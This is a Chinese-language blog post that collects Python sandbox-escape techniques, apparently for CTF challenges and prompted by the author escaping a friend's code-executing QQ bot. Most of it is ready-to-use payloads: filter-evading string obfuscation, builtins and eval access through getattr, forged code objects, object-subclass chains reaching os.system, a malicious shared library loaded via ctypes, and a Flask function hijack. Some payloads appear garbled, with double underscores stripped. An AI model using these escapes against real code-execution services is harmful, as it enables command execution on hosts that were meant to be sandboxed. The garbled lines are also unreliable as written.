学弟写了个Python的qq机器人,有代码执行,试着逃逸了一波,顺变想总结一下以前看到的用__code__
逃逸的姿势,所以有了这篇文章.
沙箱逃逸,就是在一个受限制的python环境中,绕过现在和过滤达到更高权限,或者geshell的过程
如果题目是通过正则过滤,eval,import 等危险字符,
首先我们要利用拼接等方式,获取任意字符,方便后续的绕过
如果没有过滤引号,那姿势就有很多了,假设目的字符为flag
'galf'[::-1]
\146\154\141\147 #8进制
\x66\x6c\x61\x67 #16进制
'flab'.replace('b','g')
'f'+'lag'
'f''lag'
a='fl';b='ag';f'{a}{b}'
'%clag'%(102)
chr(102)+'lag'
python2还可以通过hex(1718378855)[2:].decode('hex')这种方式得到任意字符,但是在python3中hex的解码被移动到了codecs.encode()中
都可以得到想要的字符
chr(102)+chr(108)+chr(97)+chr(103)
str().join(list(dict(fl=1,ag=2).keys()))
也可以通过dir(dir)[1][2]等获取单个字符然后拼接
我们先看一些python的相关知识
每个模块都有自己的globals变量空间,在局部作用域中,有locals变量空间,这些变量空间都可以通过globals(),locals()访问修改,个个模块之前的联系通过import实现,所有模块都引用一个builtins模块,提供python内建函数的支持
func.__globals__
表示当前函数可访问的变量空间code对象表示字节编译的可执行Python代码或字节码,函数的func.__code__
执行当前函数的code对象
关于代码执行的,我们大概有以下几个思路
1. 利用冷门执行命令的库
2. 利用getattr
3. 利用python code对象
4. 利用object 子类
#### 利用冷门执行命令的库
os
commands:仅限2.x
subprocess
timeit:timeit.sys、timeit.timeit("import('os').system('whoami')", number=1) ##之后利用时间盲注
platform:platform.os、platform.sys、platform.popen('whoami', mode='r', bufsize=-1).read()
pty:pty.spawn('ls')、pty.os
bdb:bdb.os、cgi.sys
cgi:cgi.os、cgi.sys
利用f-string,执行,但是因为不能编码,无法绕过一下过滤
f'{import("os").system("whoami")}'
#### globals\locals
`
globals()['builtin'].dict.get('eval')('1+1')
#### getattr\```__getattribute__\__dict__```
通过前文的任意字符的获取,我们已经获取了字符串'eval,而getattr可以帮我们得到实际的eval函数,
getattr返回对象命名属性的值,它实际上调用对象的```__getattribute__```魔术方法,并且对象的属性会存储在```__dict__```中
由前文我们知道,builtins是被所有模块引用,因此,我们可以通过这种访问获取builtins在获取eval方法,进行任意代码执行.
```
getattr(base64,'\x5f\x5fb\x75iltins\x5f\x5f').get('ev\x61l')('\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27whoami\x27\x29\x2e\x72\x65\x61\x64\x28\x29')
getattr(linecache,'os')
linecache.__dict__['os']
__builtins__.__dict__['eval']
__builtin__.__dict__['eval']
```
#### 利用python code对象
我们知道,代码的执行,实际上是执行code对象,因为我们可以之间构造code对象,进行任意代码执行
code对象的构造,可能要依赖具体的python版本,我的实验环境是python3.9
##### 利用complie构建
comlie可以获取一个code对象,然后利用type获取Function类执行这个code对象,这里传入一个外部模块方便我们 使用builtins
```
type(lambda*a:1)(compile('a.__builtins__["__import__"]("""os""").popen("whoami").read()','','eval'),dict(a=base64))()
```
##### 手工构建
随便自定义一个函数,然后修改函数```__code__```值,实现任意代码执行
def target():
print(import('os').popen('whoami').read())
code="a=(lambda*a:1);a.code=type(target.code)({},{},{},{},{},{},bytes.fromhex('{}'),{},{},{},\'{}\',\'{}\',{},bytes.fromhex(\'{}\'),{},{})\n".format(
target.code.co_argcount,\
target.code.co_posonlyargcount,\
target.code.co_kwonlyargcount,\
target.code.co_nlocals,\
target.code.co_stacksize,\
target.code.co_flags,\
target.code.co_code.hex(),\
target.code.co_consts,\
target.code.co_names, \
target.code.co_varnames,\
target.code.co_filename,\
target.code.co_name,\
target.code.co_firstlineno,\
target.code.co_lnotab.hex(),\
target.code.co_freevars,\
target.code.co_cellvars)
print(code)
![截屏2021-01-11 下午7.51.44](https://cdn.jsdelivr.net/gh/W4ndell/static/img/截屏2021-01-11 下午7.51.44.png)
通过这种方式,把要执行的命令转成字符串的形式,配合前文字符串的绕过,成功进行代码执行
#### 利用object
object的子类中有所有的类,我们可以通过类方法的`func.__globals__`获取到builtins进而之间进行代码执行
需要因为需要重载过的类方法才有```__globals__```,所以59需要爆破
object.subclasses()[59].init.globals['builtins']'eval'.popen("ls").read()'
[].class.bases[0].subclasses()[59].init.globals['builtins']'eval'.popen("ls").read()'
''.class.mro[2].subclasses()[59].init.globals['builtins']'eval'.popen("ls").read()')
## 限制import
### 利用重载绕过限制
import的语法会调用```__import__```函数,而```importlib.import_module```是其背后的实现
要是上述都被限制
我们还可以通过````importlib.reload```重载```__builtins__```模块恢复限制,
若reload也无法使用,
### 直接执行绕过限制
我们可以通过之间执行,os.py 文件导入popen函数
exec(open('/usr/local/Cellar/[email protected]/3.9.1/Frameworks/Python.framework/Versions/3.9/lib/python3.9/os.py').read())
popen('ls').read()
###利用一下已经导入os的模块
或者利用一些已经导入os的模块
先获取所有子类
可以考虑利用class 'warnings.catch_warnings',从.init.func_globals.values()[13]获取eval,map等等;又或者从.init.func_globals[linecache]得到os
pyhton2
class 'warnings.catch_warnings'
59 是这个类,不同环境可能不一样,这个类的归属linecache模块,在这个模块中导入了os库
().class.bases[0].subclasses()[59].init.func_globals['linecache'].dict['o'+'s'].dict'sy'+'stem'
().class.bases[0].subclasses()[59].init.func_globals.values()[13]'eval'.system("ls")')
Python3
().class.bases[0].subclasses()[93].init.globals["sys"].modules["os"].system("ls")
[].class.base.subclasses()[127].init.globals'system'
这个思路大体为,因为可以通过object对象获取所有类,还可以通过函数```__globals__```,获取当前函数的作用域,如果一些内置模块导入了os等危险库,而恰巧对object对象获取所有类的方法的命名空间又可见,则可以通过globals获取已导入的os并利用.
具体可以参考
https://hatboy.github.io/2018/04/19/Python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E6%80%BB%E7%BB%93/
### 加载c扩展绕过限制
如果os.py被删,
import还在的话,我们可以通过自定义加载器或者上传文件之间执行,加载自己实现的python模块,进行命令执行
void my_init(void) attribute((constructor));
void my_init(void)
{
system("ls -la /home/ctf/ > /tmp/ls_home_ctf");
}
编译好so文件后写入/tmp/bk.so
先写入so文件,然后使用ctypes加载so
<class 'ctypes.CDLL'>,<class 'ctypes.LibraryLoader'>
().class.bases[0].subclasses()86.class.bases[0].subclasses()[85]).LoadLibrary('/tmp/bk.so')
### 利用pwn
参考```PlaidCTF 2014 '__nightmares__'
https://blog.mheistermann.de/2014/04/14/plaidctf-2014-nightmares-pwnables-375-writeup/
需要有操作文件的函数,劫持got表,从而rce
参考TCTF 2017 final Python
https://www.anquanke.com/post/id/86366%E3%80%82
直接利用opcode,rce
如果过滤了(),则不能执行函数
我们可以通过赋值劫持,builtins模块,利用模块之间的引用关系,劫持后续一个传入内容可控的函数为eval进行任意代码执行
参考sctf2020 pysandbox2
app.view_functions[request.form[[].__doc__[1]]]=lambda:request.form[[].__doc__[0]];app.view_functions[1]=app.finalize_request;app.finalize_request=eval&u=security&B=self.view_functions[1](eval("__import__('os').popen('ls').read()"))
sys.modules
是一个字典,里面储存了加载过的模块信息,但是不能直接使用, sys.modules 中未经 import 加载的模块对当前空间是不可见的.
如果在
sys.modules['os'] = 'not allowed'
修改os库,会会导致import失败,
我们只要
del sys.modules['os']
既可导入
http://tav.espians.com/paving-the-way-to-securing-the-python-interpreter.html
Paving the Way to Securing the Python Interpreter
https://www.smi1e.top/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/